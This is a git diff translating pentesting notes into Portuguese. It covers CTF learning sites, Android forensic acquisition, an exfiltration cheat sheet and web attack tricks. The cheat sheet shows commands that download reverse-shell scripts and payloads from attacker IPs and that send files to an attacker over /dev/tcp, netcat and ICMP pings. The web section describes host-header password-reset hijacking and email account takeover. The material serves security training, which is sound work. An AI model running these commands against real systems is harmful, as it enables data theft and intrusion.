diff --git a/Learning & Hacking.md b/Learning & Hacking.md old mode 100644 new mode 100755 index 2b3d865d95d..cc34c6b0f17 --- a/Learning & Hacking.md +++ b/Learning & Hacking.md @@ -1,51 +1,45 @@ -# Learning Pages and VMs +# Páginas de Aprendizado e VMs ## https://tryhackme.com/ -Tryhackme is a platform with virtual machines that need to be solved through walkthroughs, which is very good for beginners and normal CTFs where you self must hack into the machines. +TryHackMe é uma plataforma com máquinas virtuais que precisam ser resolvidas através de tutoriais, o que é muito bom para iniciantes e CTFs normais onde você mesmo deve hackear as máquinas. +## https://www.root-me.org/ +Root Me é outra página para hackear máquinas virtuais hospedadas online. -## https://www.root-me.org/ +## https://www.vulnhub.com/ -Rootme is another page for online hosted virtual machines to hack. +VulnHub possúi máquinas para baixar e hackear. +## https://www.hackthebox.eu/ https://academy.hackthebox.eu/catalogue +Hack The Box possúi máquinas online para hackear, mas elas são muito limitadas na versão gratuita. -## https://www.vulnhub.com/ - -Vulnhub has machines to download and then to hack - - - -## https://www.hackthebox.eu/ https://academy.hackthebox.eu/catalogue - -Hackthebox has online machines to hack, but there are very limited in the free version. - -Recently the launched their academy, but it is a bit more expensive than for example tryhackme and has less. - - +Recentemente eles lançaram a academia deles, mas é um pouco mais cara do que por exemplo o TryHackMe. ## https://hack.me/ -This site seems to be a community platform - - +Esse site é uma plataforma da comunidade. ## https://www.hacker101.com/ -Free and smale site with videos and CTFs - +Gratuito e menor com vídeos e CTFs. ## https://crackmes.one/ -This site has a lot of binarys for forensic learning. +Este site tem vários binários para o aprendizado de forense. ## https://overthewire.org/wargames/ -The wargames offered by the OverTheWire community can help you to learn and practice security concepts in the form of fun-filled games. - Perfect for beginners. +Os wargames oferecidos pela comunidade da OverTheWire podem ajudar você a aprender e praticar conceitos de segurança em forma de jogos divertidos. +Perfeito para iniciantes. + +## https://www.hackthissite.org/missions/basic/ -## https://www.hackthissite.org/missions/basic/ +Extraído de https://www.hackthissite.org/ +HackThisSite.org é lugar gratuito, seguro e legal para que hackers testem e expandam suas habilidades éticas de hacking com desafios, CTFs e mais. ## https://attackdefense.com/ + +Plataforma da [Pentester Academy](https://www.pentesteracademy.com/onlinelabs) com laboratórios de vários assuntos. \ No newline at end of file diff --git a/android-forensics.md b/android-forensics.md index fe4bf492c3c..733ff914bfa 100644 --- a/android-forensics.md +++ b/android-forensics.md @@ -1,24 +1,23 @@ -# Android Forensics +# Forense em Android -## Locked Device +## Dispositivo Bloqueado -To start extracting data from an Android device it has to be unlocked. If it's locked you can: +Para começar a extração de dados de um dispositivo Android o mesmo tem que estar desbloqueado. Se ele estiver bloqueado você pode: -* Check if the device has debugging via USB activated. -* Check for a possible [smudge attack](https://www.usenix.org/legacy/event/woot10/tech/full_papers/Aviv.pdf) -* Try with [Brute-force](https://www.cultofmac.com/316532/this-brute-force-device-can-crack-any-iphones-pin-code/) +* Verificar se o dispositivo está com o modo debugging via USB ativado. +* Verificar por um possível [smudge attack](https://www.usenix.org/legacy/event/woot10/tech/full_papers/Aviv.pdf) +* Tentar um ataque de [força bruta](https://www.cultofmac.com/316532/this-brute-force-device-can-crack-any-iphones-pin-code/) -## Data Adquisition +## Aquisição de Dados -Create an [android backup using adb](mobile-apps-pentesting/android-app-pentesting/adb-commands.md#backup) and extract it using [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/): `java -jar abe.jar unpack file.backup file.tar` +Crie um [backup android usando o adb](mobile-apps-pentesting/android-app-pentesting/adb-commands.md#backup) e extraia ele usando o [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/): `java -jar abe.jar unpack arquivo.backup arquivo.tar` -### If root access or physical connection to JTAG interface +### Acesso root ou conexão física com uma interface JTAG -* `cat /proc/partitions` \(search the path to the flash memory, generally the first entry is _mmcblk0_ and corresponds to the whole flash memory\). -* `df /data` \(Discover the block size of the system\). -* dd if=/dev/block/mmcblk0 of=/sdcard/blk0.img bs=4096 \(execute it with the information gathered from the block size\). +* `cat /proc/partitions` \(procure o caminho para a memória flash, geralmente a primeira entrada é _mmcblk0_ e corresponde a toda memória flash\). +* `df /data` \(descubra o tamanho do bloco do sistema\). +* `dd if=/dev/block/mmcblk0 of=/sdcard/blk0.img bs=4096` \(execute-o com as informações coletadas do tamanho do bloco\). -### Memory - -Use Linux Memory Extractor \(LiME\) to extract the RAM information. It's a kernel extension that should be loaded via adb. +### Memória +Use o Linux Memory Extractor \(LiME\) para extrair a informação da RAM. É uma extensão do kernel que deve ser carregada via adb. \ No newline at end of file diff --git a/exfiltration.md b/exfiltration.md index 1d5a1161104..823453e1bd3 100644 --- a/exfiltration.md +++ b/exfiltration.md @@ -1,12 +1,12 @@ -# Exfiltration +# Exfiltração -## Copy&Paste Base64 +## Copiar e Colar Base64 #### Linux ```bash -base64 -w0 #Encode file -base64 -d file #Decode file +base64 -w0 # Codifica o arquivo +base64 -d arquivo # Decodifica o arquivo ``` #### Windows @@ -24,14 +24,14 @@ certutil -decode payload.b64 payload.dll wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py -fetch 10.10.14.14:8000/shell.py #FreeBSD +fetch 10.10.14.14:8000/shell.py # FreeBSD ``` #### Windows ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 -bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf +bitsadmin /transfer transfName /priority high http://exemplo.com/arquivoexemplo.pdf C:\downloads\arquivoexemplo.pdf #PS (New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe") @@ -40,24 +40,24 @@ wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill Import-Module BitsTransfer Start-BitsTransfer -Source $url -Destination $output -#OR +#OU Start-BitsTransfer -Source $url -Destination $output -Asynchronous ``` -### Upload files +### Upload de arquivos \*\*\*\*[**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)\*\*\*\* -### **HTTPS Server** +### **Servidor HTTPS** ```python -# from https://gist.github.com/dergachev/7028596 -# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/ -# generate server.xml with the following command: +# de https://gist.github.com/dergachev/7028596 +# tirado de http://www.piware.de/2011/01/creating-an-https-server-in-python/ +# gere o server.xml com o seguinte comando: # openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes -# run as follows: +# execute do seguinte modo: # python simple-https-server.py -# then in your browser, visit: +# e então no seu navegador, acesse: # https://localhost:443 import BaseHTTPServer, SimpleHTTPServer @@ -70,28 +70,28 @@ httpd.serve_forever() ## FTP -### FTP server \(python\) +### Servidor FTP \(python\) ```bash pip3 install pyftpdlib python3 -m pyftpdlib -p 21 ``` -### FTP server \(NodeJS\) +### Servidor FTP \(NodeJS\) ```text sudo npm install -g ftp-srv --save ftp-srv ftp://0.0.0.0:9876 --root /tmp ``` -### FTP server \(pure-ftp\) +### Servidor FTP \(pure-ftp\) ```bash apt-get update && apt-get install pure-ftp ``` ```bash -#Run the following script to configure the FTP server +# Rode o seguinte script para configurar o servidor FTP #!/bin/bash groupadd ftpgroup useradd -g ftpgroup -d /dev/null -s /etc ftpuser @@ -104,10 +104,10 @@ chown -R ftpuser:ftpgroup /ftphome/ /etc/init.d/pure-ftpd restart ``` -### **Windows** client +### Cliente **Windows** ```bash -#Work well with python. With pure-ftp use fusr:ftp +# Funciona bem com python. Com o pure-ftp use fusr:ftp echo open 10.11.0.41 21 > ftp.txt echo USER anonymous >> ftp.txt echo anonymous >> ftp.txt @@ -119,92 +119,92 @@ ftp -n -v -s:ftp.txt ## SMB -Kali as server +Kali como servidor ```bash -kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory -kali_op2> smbserver.py -smb2support name /path/folder # Share a folder -#For new Win10 versions +kali_op1> impacket-smbserver -smb2support kali `pwd` # Compartilha o diretório atual +kali_op2> smbserver.py -smb2support nomeDoCompartilhamento /caminho/para/o/diretório # Compartilha um diretório +# Para novas versões do Windows 10 impacket-smbserver -smb2support -user test -password test test `pwd` ``` -Or create a **smb** share **using samba**: +Ou crie um compartilhamento **smb usando samba**: ```bash apt-get install samba mkdir /tmp/smb chmod 777 /tmp/smb -#Add to the end of /etc/samba/smb.conf this: +# Adicione isto no final de /etc/samba/smb.conf: [public] comment = Samba on Ubuntu path = /tmp/smb read only = no browsable = yes guest ok = Yes -#Start samba +# Inicie o samba service smbd restart ``` Windows ```bash -CMD-Wind> \\10.10.14.14\path\to\exe -CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials +CMD-Wind> \\10.10.14.14\caminho\para\o\executavel +CMD-Wind> net use z: \\10.10.14.14\test /user:test test # Para o SMB usando credenciais -WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali" +WindPS-1> New-PSDrive -Name "novo_disco" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali" WindPS-2> cd new_disk: ``` ## SCP -The attacker has to have SSHd running. +O atacante tem que ter o SSHd rodando. ```bash -scp @:/ +scp @:/ ``` ## NC ```bash -nc -lvnp 4444 > new_file -nc -vn 4444 < exfil_file +nc -lvnp 4444 > novo_arquivo +nc -vn 4444 < arquivo_de_exfiltração ``` ## /dev/tcp -### Download file from victim +### Download de arquivo da vítima ```bash -nc -lvnp 80 > file #Inside attacker -cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim +nc -lvnp 80 > arquivo # máquina atacante +cat /caminho/para/o/arquivo > /dev/tcp/10.10.10.10/80 # máquina vítima ``` -### Upload file to victim +### Upload de arquivo para a vítima ```bash -nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker -# Inside victim +nc -w5 -lvnp 80 < arquivo_para_enviar.txt # máquina atacante +# máquina vítima exec 6< /dev/tcp/10.10.10.10/4444 -cat <&6 > file.txt +cat <&6 > arquivo.txt ``` -thanks to **@BinaryShadow\_** +obrigado ao **@BinaryShadow\_** ## **ICMP** ```bash -#In order to exfiltrate the content of a file via pings you can do: -xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line ; done -#This will 4bytes per ping packet (you could probablie increase this until 16) +# Para exfiltrar o conteúdo de um arquivo via pings você pode fazer: +xxd -p -c 4 /caminho/para/o/arquivo | while read line; do ping -c 1 -p $line ; done +# Isso irá extrair 4 bytes por cada pacote de ping (você provavelmente pode aumentar até 16) ``` ```python from scapy.all import * -#This is ippsec receiver created in the HTB machine Mischief +# Este é o receptor do ippsec criado na máquina Mischief do HTB def process_packet(pkt): if pkt.haslayer(ICMP): if pkt[ICMP].type == 0: - data = pkt[ICMP].load[-4:] #Read the 4bytes interesting + data = pkt[ICMP].load[-4:] # Lê os 4 bytes interessantes print(f"{data.decode('utf-8')}", flush=True, end="") sniff(iface="tun0", prn=process_packet) @@ -212,7 +212,7 @@ sniff(iface="tun0", prn=process_packet) ## **SMTP** -If you can send data to an SMTP server, you can create a SMTP to receive the data with python: +Se você pode enviar dados para um servidor SMTP, você pode criar um SMTP para receber dados com python: ```bash sudo python -m smtpd -n -c DebuggingServer :25 @@ -220,45 +220,45 @@ sudo python -m smtpd -n -c DebuggingServer :25 ## TFTP -By default in XP and 2003 \(in others it need to be explicitly added during installation\) +Por padrão nos Windows XP e 2003 \(em outros ele precisa ser adicionado explicitamente durante a instalação\) -In Kali, **start TFTP server**: +No Kali, **inicie o servidor TFTP**: ```bash -#I didn't get this options working and I prefer the python option +# Eu não consegui fazer essa opção funcionar e eu prefiro a opção em python mkdir /tftp atftpd --daemon --port 69 /tftp cp /path/tp/nc.exe /tftp ``` -**TFTP server in python:** +**Servidor TFTP em python:** ```bash pip install ptftpd -ptftpd -p 69 tap0 . # ptftp -p +ptftpd -p 69 tap0 . # ptftp -p ``` -In **victim**, connect to the Kali server: +Na **vítima**, conecte ao servidor Kali: ```bash -tftp -i get nc.exe +tftp -i get nc.exe ``` ## PHP -Download a file with a PHP oneliner: +Download de um arquivo com uma linha de PHP: ```bash -echo "" > down2.php +echo "" > down2.php ``` ## VBScript ```bash -Attacker> python -m SimpleHTTPServer 80 +Atacante> python -m SimpleHTTPServer 80 ``` -#### Victim +#### Vítima ```bash echo strUrl = WScript.Arguments.Item(0) > wget.vbs @@ -294,23 +294,22 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe ## Debug.exe -This is a crazy technique that works on Windows 32 bit machines. Basically the idea is to use the `debug.exe` program. It is used to inspect binaries, like a debugger. But it can also rebuild them from hex. So the idea is that we take a binaries, like `netcat`. And then disassemble it into hex, paste it into a file on the compromised machine, and then assemble it with `debug.exe`. +Esta é uma técnica maluca que funciona em máquinas Windows de 32 bits. Basicamente, a ideia é usar o programa `debug.exe`. Ele é usado para inspecionar binários, como um debugger. Mas ele também pode reconstruí-los a partir de hexadecimal. Então a ideia é pegarmos um binário como o `netcat`. Em seguida, desmontá-lo em hexadecimal, colar ele em um arquivo na máquina comprometida, e então remontá-lo com o `debug.exe`. -`Debug.exe` can only assemble 64 kb. So we need to use files smaller than that. We can use upx to compress it even more. So let's do that: +O `Debug.exe` só pode montar 64 kb. Portanto, precisamos usar arquivos menores que isso. Podemos usar o upx para compactá-lo ainda mais. Então vamos fazer isso: ```text upx -9 nc.exe ``` -Now it only weights 29 kb. Perfect. So now let's disassemble it: +Agora ele pesa apenas 29 kb. Perfeito. Agora vamos desmontá-lo: ```text wine exe2bat.exe nc.exe nc.txt ``` -Now we just copy-paste the text into our windows-shell. And it will automatically create a file called nc.exe +Agora, basta copiar e colar o texto na nossa shell do windows. E ele irá criar automaticamente um arquivo chamado nc.exe ## DNS -[https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil) - +[https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil) \ No newline at end of file diff --git a/other-web-tricks.md b/other-web-tricks.md index 6213ce905a7..1f452ec5968 100644 --- a/other-web-tricks.md +++ b/other-web-tricks.md @@ -1,29 +1,29 @@ -# Other Web Tricks +# Outros Truques da Web -### Host header +### Cabeçalho Host -Several times the back-end trust the H**ost header** to perform some actions. For example, it could use its value as the **domain to send a password reset**. So when you receive an email with a link to reset your password, the domain being used is the one you put in the Host header.Then, you can request the password reset of other users and change the domain to one controlled by you to steal their password reset codes. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2). +Várias vezes o back-end confia no **cabeçalho Host** para realizar algumas ações. Por exemplo, ele pode usar seu próprio valor como o **domínio para enviar uma redefinição de senha**. Então quando você recebe um email com um link para redefinir sua senha, o domínio usado é aquele que você coloca no cabeçalho Host. Então, você pode solicitar a redefinição de senha de outros usuários e alterar o domínio para um controlado por você para roubar os códigos de redefinição deles. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2). -### Session booleans +### Booleanos de sessão -Some times when you complete some verification correctly the back-end will **just add a boolean with the value "True" to a security attribute your session**. Then, a different endpoint will know if you successfully passed that check. -However, if you **pass the check** and your sessions is granted that "True" value in the security attribute, you can try to **access other resources** that **depends on the same attribute** but that you **shouldn't have permissions** to access. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a). +Algumas vezes quando você completa alguma verificação corretamente o back-end irá **adicionar um booleano com o valor "Verdadeiro" para um atributo de segurança da sua sessão**. Então, um endpoint diferente saberá se você passou com sucesso aquela verificação. +Entretanto, se você **passar a verificação** e as suas sessões forem concedidas aquele valor "Verdadeiro" no atributo de segurança, você pode tentar **acessar outros recursos** que **dependem do mesmo atributo** mas que você **não deveria ter permissões** para acessar. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a). -### Register functionality +### Funcionalidade de cadastro -Try to register as an already existent user. Try also using equivalent characters \(dots, lots of spaces and Unicode\). +Tente cadastrar um usuário existente. Tente também usando caracteres equivalentes \(pontos, vários espaçoes e Unicode\). -### Takeover emails +### Assumir o controlde de emails -Register an email, before confirming it change the email, then, if the new confirmation email is sent to the first registered email,you can takeover any email. Or if you can enable the second email confirming the firt one, you can also takeover any account. +Cadastre um email, antes de confirmar altere o email, então, se o novo email de confirmação for enviado para a primeiro email cadastrado, você pode assumir o controle de qualquer email. Ou se você puder habilitar o segundo email confirmando o primeiro, você também pode assumir qualquer conta. -### Access Internal servicedesk of companies using atlassian +### Acesso interno ao servicedesk de empresas que usam atlassian -{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %} +{% embed url="https://nomedasuaempresa.atlassian.net/servicedesk/customer/user/login" %} -### TRACE method +### Método TRACE -Developers might forget to disable various debugging options in the production environment. For example, the HTTP `TRACE` method is designed for diagnostic purposes. If enabled, the web server will respond to requests that use the `TRACE` method by echoing in the response the exact request that was received. This behaviour is often harmless, but occasionally leads to information disclosure, such as the name of internal authentication headers that may be appended to requests by reverse proxies.![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20) - -![Image for post](https://miro.medium.com/max/1330/1*wDFRADTOd9Tj63xucenvAA.png) +Desenvolvedores tendem a esquecer de desabilitar várias opções de debugging em ambientes de produção. Por exemplo, o método HTTP `TRACE` é projetado para fins de diagnóstico. Se habilitado, o servidor web irá responder a requisições que usam o método `TRACE` ecoando na resposta a mesma requisição que foi recebida. Este comportamento muitas vezes é inofensivo, mas ocasionalmente leva a divulgação de informação, como o nome de cabeçalhos de autenticação internos que podem ser anexados a requisições por proxies reversos. +![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20) +![Image for post](https://miro.medium.com/max/1330/1*wDFRADTOd9Tj63xucenvAA.png) \ No newline at end of file